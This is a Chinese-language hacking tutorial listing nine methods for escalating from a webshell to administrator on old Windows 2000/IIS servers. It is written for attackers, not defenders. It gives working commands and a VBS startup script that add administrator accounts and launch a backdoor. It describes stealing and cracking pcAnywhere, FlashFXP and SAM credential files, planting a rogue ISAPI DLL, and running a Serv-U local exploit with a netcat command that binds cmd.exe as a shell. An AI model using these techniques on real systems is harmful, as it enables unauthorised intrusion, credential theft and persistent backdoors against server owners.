1. 程式人生 > >9種經典的webshell提權方法

9種經典的webshell提權方法

第一
如果伺服器上有裝了pcanywhere服務端,管理員為了管理方便
也給了我們方便,到系統盤的Documents and Settings/All Us
ers/Application Data/Symantec/pcAnywhere/中下載*.cif本地
破解就使用pcanywhere連線就ok了

第二
有很多小黑問我這麼把webshell的iis user許可權提升
一般伺服器的管理都是本機設計完畢然後上傳到空間裡,
那麼就會用到ftp,伺服器使用最多的就是servu
那麼我們就利用servu來提升許可權
通過servu提升許可權需要servu安裝目錄可寫~


好開始把,首先通過webshell訪問servu安裝資料夾下的ServUDaemon.ini把他下載
下來,然後在本機上安裝一個servu把ServUDaemon.ini放到本地安裝資料夾下覆蓋,
啟動servu添加了一個使用者,設定為系統管理員,目錄C:/,具有可執行許可權
然後去servu安裝目錄裡把ServUDaemon.ini更換伺服器上的。
用我新建的使用者和密碼連線~
好的,還是連上了

ftp
ftp>open ip
Connected to ip.
220 Serv-U FTP Server v5.0.0.4 for WinSock ready...
User (ip:(none)): id //剛才新增的使用者
331 User name okay, please send complete E-mail address as password.
Password:password //密碼
230 User logged in, proceed.
ftp> cd winnt //進入win2k的winnt目錄
250 Directory changed to /WINNT
ftp>cd system32 //進入system32目錄
250 Directory changed to /WINNT/system32
ftp>quote site exec net.exe user rover rover1234 /add //利用系統的net.exe

檔案加使用者。
如果提示沒有許可權,那我們就
把後門(server.exe) 傳他system32目錄
然後寫一個VBs教本

set wshshell=createobject ("wscript.shell")
a=wshshell.run ("cmd.exe /c net user user pass /add",0)
b=wshshell.run ("cmd.exe /c net localgroup Administrators user /add",0)
b=wshshell.run ("cmd.exe /c server.exe",0)

存為xx.vbe
這個教本的作用是建立user使用者密碼為pass
並且提升為管理員
然後執行system32目錄下的server.exe
把這個教本傳他 C:/Documents and Settings/All Users/「開始」選單/程式/啟動
目錄
這樣管理員只要一登陸就會執行那個教本.
接下來就是等了.等他登陸.

第三

就是先檢查有什麼系統服務,或者隨系統啟動自動啟動的程式和管理員經常使用的軟體, 比如諾頓,VAdministrator,金山,瑞星,WinRAR甚至QQ之類的,是否可以寫,如果可以就修改其程式, 繫結一個批處理或者VBS,然後還是等待伺服器重啟。


第四

查詢conn和config ,pass這型別的檔案看能否得到sa或者mysql的相關密碼,可能會有所
收穫等等。

第五

使用Flashfxp也能提升許可權,但是成功率就看你自己的運氣了
首先找到FlashFXP資料夾,開啟(編輯)Sites. dat,這個檔案這是什麼東西密碼和使用者名稱,
而且密碼是加了密的。 如果我把這些檔案copy回本地也就是我的計算機中,替換我本地的相應檔案。然後會發現 開啟flashfxp在站點中開啟站點管理器一樣。又可以新增N多肉雞啦~~嘻嘻~
唔??不對啊,是來提升許可權的啊,暈,接著來別半途而廢。
大家看看對方管理員的這站點管理器,有使用者名稱和密碼,密碼是星號的。經過用xp星號密碼 檢視器檢視,然後和Sites.dat中加密了密碼做比較發現並未加密而是查到的密碼是明文顯示, 然後最終把這個網站管理員的密碼從這堆東西中找
出來。那麼下一步就可以連結這些新的伺服器啦~~
經過測試只要把含有密碼和使用者名稱的Sites.dat檔案替換到本地相應的檔案就可以在本地
還原對方管理員的各個站點的密碼。


第六
WIN2K+IIS5.0預設情況下應用程式保護選項是"中(共用的)",這時IIS載入isapi是用的
iwam_computername使用者身份執行。
但預設情況下WIN2K+IIS5對於一些特殊isapi又要以system身份載入。win2k+iis5 、
win2k+iis5+sp1、win2k+iis5+sp2都是簡單的判斷isapi的檔名,並且沒有做目錄限制,
以SYSTEM許可權載入的isapi有:
1、 idq.dll
2、 httpext.dll
3、 httpodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll
所以利用這很容易得到SYSTEM許可權。並且判斷檔名的時候有個bug,比如請求/scripts/test%81%5cssinc.dll也將會認為是請求的ssinc.dll,就是分離檔案路徑的時候沒有考慮到雙位元組的 遠東版問題。ssinc.dll在處理包含檔案路徑的時候也有一個問題,就是"/"、"/"只識別了一個 "/",所以如果請求裡面使用"/",就會錯誤的處理包含檔案路徑,有可能洩露東西或者出現許可權 漏洞,這種漏洞很多別的地方( php、asp等)也還存在。
載入這些isapi不是單以檔名做依據了,而是加了路徑,應該是修正了此問題。
一般預設情況下是:
1、 idq.dll d:/winnt/system32/idq.dll
2、 httpext.dll d:/winnt/system32/inetsrv/httpext.dll
3、 httpodbc.dll d:/winnt/system32/inetsrv/httpodbc.dll
4、 ssinc.dll d:/winnt/system32/inrtsrv/ssinc.dll
5、 msw3prt.dll d:/winnt/system32/msw3prt.dll
6、 author.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_aut/author.dll
7、 admin.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/_vti_adm/admin.dll
8、 shtml.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/isapi/shtml.dll
9、 sspifilt.dll d:/winnt/system32/inetsrv/sspifilt.dll
10、compfilt.dll d:/winnt/system32/inetsrv/compfilt.dll
11、pwsdata.dll d:/winnt/system32/inetsrv/pwsdata.dll
12、md5filt.dll d:/winnt/system32/inetsrv/md5filt.dll
13、fpexedll.dll D:/Program Files/Common Files/Microsoft Shared/web server extensions/40/bin/fpexedll.dll
正常情況下這些路徑都guest不能寫,但如果配置不好,這些路徑iis user能夠寫了就一樣可以提升許可權了
可以把ISAPIHack.dll上傳到IIS的可執行目錄,檔名可叫ssinc.dll或者admin.dll等(上面列的13個檔名之一)。
然後等待IIS重啟載入此dll,就可以獲得許可權了

第七

下載系統的 %windir%/repair/sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)檔案,
然後用L0pht等軟體進行破解,只要能拿到,肯花時間,就一定可以破解。


第八

PipeUpAdmin(Windows 2000下), 在本機執行可以把當前使用者帳號加入管理員組。普通使用者和Guests組使用者都可以成功執行。


第九

Serv-u Ftp Server 本地許可權提升漏洞:
很多主機的C:/Documents and Settings/All Users/ Documents目錄以及下邊幾個子目錄Documents沒有設定許可權,導致可以在這個目錄上傳並執行Exp. 直接上傳了serv-u local exploit 和nc, 並且把serv-u的本地提升許可權的名字命名為su.exe 檔案就放在C:/Documents and Settings/All Users/ Documents, 然後我們用su.exe直接建立使用者,也可以反彈一個shell過來的。
具體命令:
建立使用者: serv-u.exe "cmd"
>USER xl
>PASS 111111
反彈shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"